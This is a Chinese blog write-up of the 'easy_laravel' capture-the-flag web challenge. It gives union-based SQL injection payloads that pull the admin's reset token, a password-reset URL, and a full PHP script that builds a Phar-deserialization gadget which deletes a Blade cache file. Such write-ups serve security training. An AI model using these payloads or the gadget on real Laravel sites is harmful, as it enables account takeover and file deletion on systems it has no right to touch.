

# 攻防世界 WEB easy\_laravel

原创

显哥无敌 于 2022-02-06 10:45:10 发布 2350 收藏

分类专栏: [攻防世界](#) 文章标签: [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_41696858/article/details/122796228](https://blog.csdn.net/qq_41696858/article/details/122796228)

版权



[攻防世界 专栏收录该内容](#)

39 篇文章 0 订阅

订阅专栏

这题我一开始是在攻防世界做的, 但是不知道今天靶场又抽什么风了。。。反正两个靶场配置有点不一样, 但是出入不是很大, BUUCTF需要提前手动利用管理员邮箱reset\_password一下, 攻防世界不需要打开场景, 审计页面源码, 发现源码地址直接给出来了, 非常的简单粗暴啊

[https://github.com/qazxcv123/easy\\_laravel](https://github.com/qazxcv123/easy_laravel)

建议把源码下下来, 自己搭个环境慢慢看, 不然不方便。那就看源码呗, 先看路由, mvc的入口点

哦对了先说一下, laravel是一个PHP的web框架

在一个个尝试路由的时候发现自动跳转到了登录界面, 自然而然的想到了sql注入?

找登录逻辑, 在app文件夹里发现了不少东西, 有普通用户和admin两套逻辑, 细节后面再说。在全局查找DB关键字的时候在NoteController里发现了

```
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{${username}'}");
```

很明显这是有回显的地方, 同时还翻到了

```
reset_admin_password,  
$this->query("UPDATE `users` SET password='${passwd}');
```

就差把越权两个字写在脸上了, 登录注册倒是没找到什么可以利用的地方

下面就根据这个逻辑继续走, 大致就是先注册一个用户, 然后利用NoteController里的SQL注入进行越权, 我们可以读到的是admin的note, 其他的东西

可以在下载的源码里发到, 在database文件夹下面的factories里

```
'name' => '4uuu Nya',  
'email' => 'admin@qvq.im',  
'password' => bcrypt(str_random(40)),  
'remember_token' => str_random(10),
```

可以看到password加密了, 还有一个token, 那么就是需要一个reset\_password和一个token读取, 两个数据库功能都给到了, 那么思路基本上就没什么问题了

本来我以为这就是一个简单的登录sql注入题, 做到后面发现还是想简单了, 毕竟也是个10分题对不对?

先把提权到admin的方式说一下

随机注册一个账号, 其中用户名由于note存在sql注入, 于是构造payload:

```
admin' union select 1,2,3,4,5--
```

登录, 查看note, 发现回显2

注入点找到, 读取当前admin的token, 方便后续的重置密码用

```
admin' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5--
```

读取到token值

75207d3840a95522a07c32677c11a05f8d015983a39808986e46645dbab286a0

接下来是跟laravel这个框架有关系的

构造url，当然你如果你本地拉环境看路由项也会发现

reset后面加具体的token值可以直接修改用户密码

于是：

<http://111.200.241.244:59706/password/reset/75207d3840a95522a07c32677c11a05f8d015983a39808986e46645dbab286a0>

修改密码，登录，发现已经是admin用户了，访问flag，发现啥也没有

我以为是靶场坏了，但看了wp发现这题到这才是走了一小步，这题主要考的是laravel框架的blade.php

简单概括一下，blade是视图文件，这东西和模板有点像

为什么flag不显示呢，是因为php调用的其实是laravel编译好的.blade.php文件缓存，并不是原生的php文件，缓存存在storage目录下，旧文件缓存没删除，当然不会显示flag

我们要找的东西就是手动清除生成好flag文件的blade.php文件缓存，让他再生成一次，那就要查找删除文件的功能，怎么删除呢还有一个upload功能没用，关于缓存怎么清除的，可以看这篇文章，调用链讲的很清楚了

<https://www.yuanshuli.com/post-49.html>

攻防世界并没有配置nginx，就是原生的apache环境，那么他的path就是/var/www/html/resources/views/auth/flag.blade.php

对其进行sha1加密：73eb5933be1eb2293500f4a74b45284fd453f0bb

于是先放网上的exp：

```
<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
    /**
     * Write sequence.
     */
    protected $_sequence = 0;

    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $_filters = array();

    /**
     * A buffer for writing.
     */
    private $_writeBuffer = '';

    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $_mirrors = array();
}

class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_filePath;
```

```

private $_path;

/** The mode this file is opened in for writing */
private $_mode;

/** A lazy-loaded resource handle for reading the file */
private $_reader;

/** A lazy-loaded resource handle for writing the file */
private $_writer;

/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;

/** If stream is seekable true/false, or null if not known */
private $_seekable = null;

public function __construct($path, $writable = false) {
    $this->_path = $path;
    $this->_mode = $writable ? 'w+b' : 'rb';

    if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
        $this->_quotes = true;
    }
}

/**
 * Get the complete path to the file.
 *
 * @return string
 */
public function getPath()
{
    return $this->_path;
}
}

class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";

        parent::__construct($filePath, true);
    }
    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}

$objj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($objj);

```

```
$p->addFromString('1.txt','text');  
$p->stopBuffering();  
?>
```

先分析一下他的原理，在生成好的vendor里有一个TemporaryFileByteStream.php里有调用unlink函数而且生成的文件目录和filename都是我们前端可控的，于是就构造phar的反序列化漏洞，构造一个phar对象，我是用wamp生成的，需要修改php.ini的配置项，然后上传

我们需要手动触发一下这个序列化对象，进去以后发现有个check选项，check一下，再访问flag，成功！

参考视频链接：<https://www.bilibili.com/video/BV1D34y1y7wM/>